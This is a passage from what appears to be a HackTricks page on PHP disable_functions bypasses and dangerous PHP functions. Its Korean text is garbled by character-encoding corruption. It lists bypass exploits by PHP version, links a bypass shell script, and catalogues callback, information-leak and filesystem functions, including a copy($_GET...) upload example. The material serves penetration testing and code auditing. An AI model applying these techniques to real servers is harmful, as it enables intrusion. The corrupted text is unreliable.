- 7.1 - ํ์ฌ๊น์ง ๋ชจ๋ ๋ฒ์
- 7.2 - ํ์ฌ๊น์ง ๋ชจ๋ ๋ฒ์
- 7.3 - ํ์ฌ๊น์ง ๋ชจ๋ ๋ฒ์
- 7.4 - ํ์ฌ๊น์ง ๋ชจ๋ ๋ฒ์
- 8.0 - ํ์ฌ๊น์ง ๋ชจ๋ ๋ฒ์
- 7.0์์ 8.0๊น์ง์ ์ต์คํ๋ก์ (Unix ์ ์ฉ)
- PHP 7.0=7.4 (*nix)
- Imagick 3.3.0 PHP >= 5.4
- PHP 5.x Shellsock
- PHP 5.2.4 ionCube
- PHP <= 5.2.9 Windows
- PHP 5.2.4/5.2.5 cURL
- PHP 5.2.3 -Win32std
- PHP 5.2 FOpen ์ต์คํ๋ก์
- PHP 4 >= 4.2.-, PHP 5 pcntl_exec
์๋ ๋๊ตฌ
๋ค์ ์คํฌ๋ฆฝํธ๋ ์ฌ๊ธฐ์์ ์ธ๊ธ๋ ๋ช ๊ฐ์ง ๋ฐฉ๋ฒ์ ์๋ํฉ๋๋ค:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php
๊ธฐํ ํฅ๋ฏธ๋ก์ด PHP ํจ์
์ฝ๋ฐฑ์ ํ์ฉํ๋ ํจ์ ๋ชฉ๋ก
์ด ํจ์๋ค์ ๊ณต๊ฒฉ์๊ฐ ์ ํํ ํจ์๋ฅผ ํธ์ถํ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ ๋ฌธ์์ด ๋งค๊ฐ๋ณ์๋ฅผ ํ์ฉํฉ๋๋ค. ํจ์์ ๋ฐ๋ผ ๊ณต๊ฒฉ์๋ ๋งค๊ฐ๋ณ์๋ฅผ ์ ๋ฌํ ์ ์๋ ๋ฅ๋ ฅ์ด ์์ ์๋ ์๊ณ ์์ ์๋ ์์ต๋๋ค. ์ด ๊ฒฝ์ฐ phpinfo()์ ๊ฐ์ ์ ๋ณด ์ ์ถ ํจ์๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
์ฌ๊ธฐ์์ ๋ชฉ๋ก์ ๋ฐ๋ฆ ๋๋ค
// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,
์ ๋ณด ๋ ธ์ถ
์ด ํจ์ ํธ์ถ์ ๋๋ถ๋ถ์ ์ฑํฌ๊ฐ ์๋๋๋ค. ๊ทธ๋ฌ๋ ๋ฐํ๋ ๋ฐ์ดํฐ ์ค ์ผ๋ถ๊ฐ ๊ณต๊ฒฉ์์๊ฒ ๋ณด์ผ ์ ์๋ค๋ฉด ์ด๋ ์ทจ์ฝ์ ์ด ๋ ์ ์์ต๋๋ค. ๊ณต๊ฒฉ์๊ฐ phpinfo()๋ฅผ ๋ณผ ์ ์๋ค๋ฉด ์ด๋ ํ์คํ ์ทจ์ฝ์ ์ ๋๋ค.
phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid
๊ธฐํ
extract // Opens the door for register_globals attacks (see study in scarlet).
parse_str // works like extract if only one argument is given.
putenv
ini_set
mail // has CRLF injection in the 3rd parameter, opens the door for spam.
header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid
Filesystem Functions
RATS์ ๋ฐ๋ฅด๋ฉด php์ ๋ชจ๋ ํ์ผ ์์คํ ํจ์๋ ๋ถ์พํฉ๋๋ค. ์ด ์ค ์ผ๋ถ๋ ๊ณต๊ฒฉ์์๊ฒ ๊ทธ๋ค์ง ์ ์ฉํ์ง ์์ ๊ฒ์ฒ๋ผ ๋ณด์ ๋๋ค. ๊ทธ๋ฌ๋ ๋ค๋ฅธ ๊ฒ๋ค์ ์๊ฐ๋ณด๋ค ๋ ์ ์ฉํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด allow_url_fopen=On์ธ ๊ฒฝ์ฐ URL์ ํ์ผ ๊ฒฝ๋ก๋ก ์ฌ์ฉํ ์ ์์ผ๋ฏ๋ก copy($_GET[โsโ], $_GET[โdโ]); ํธ์ถ์ ํตํด ์์คํ ์ ์ด๋ ์์น์๋ PHP ์คํฌ๋ฆฝํธ๋ฅผ ์ ๋ก๋ํ ์ ์์ต๋๋ค. ๋ํ ์ฌ์ดํธ๊ฐ GET์ ํตํด ์ ์ก๋ ์์ฒญ์ ์ทจ์ฝํ๋ค๋ฉด, ์ด๋ฌํ ๋ชจ๋ ํ์ผ ์์คํ ํจ์๋ ์๋ฒ๋ฅผ ํตํด ๋ค๋ฅธ ํธ์คํธ๋ก ๊ณต๊ฒฉ์ ์ ๋ฌํ๋ ๋ฐ ์ ์ฉ๋ ์ ์์ต๋๋ค.
Open filesystem handler
fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct
ํ์ผ ์์คํ ์ ์ฐ๊ธฐ (์ฝ๊ธฐ์ ๋ถ๋ถ์ ์ผ๋ก ๊ฒฐํฉ)
chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng // 2nd parameter is a path.
imagewbmp // 2nd parameter is a path.
image2wbmp // 2nd parameter is a path.
imagejpeg // 2nd parameter is a path.
imagexbm // 2nd parameter is a path.
imagegif // 2nd parameter is a path.
imagegd // 2nd parameter is a path.
imagegd2 // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir
ํ์ผ ์์คํ ์์ ์ฝ๊ธฐ
file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


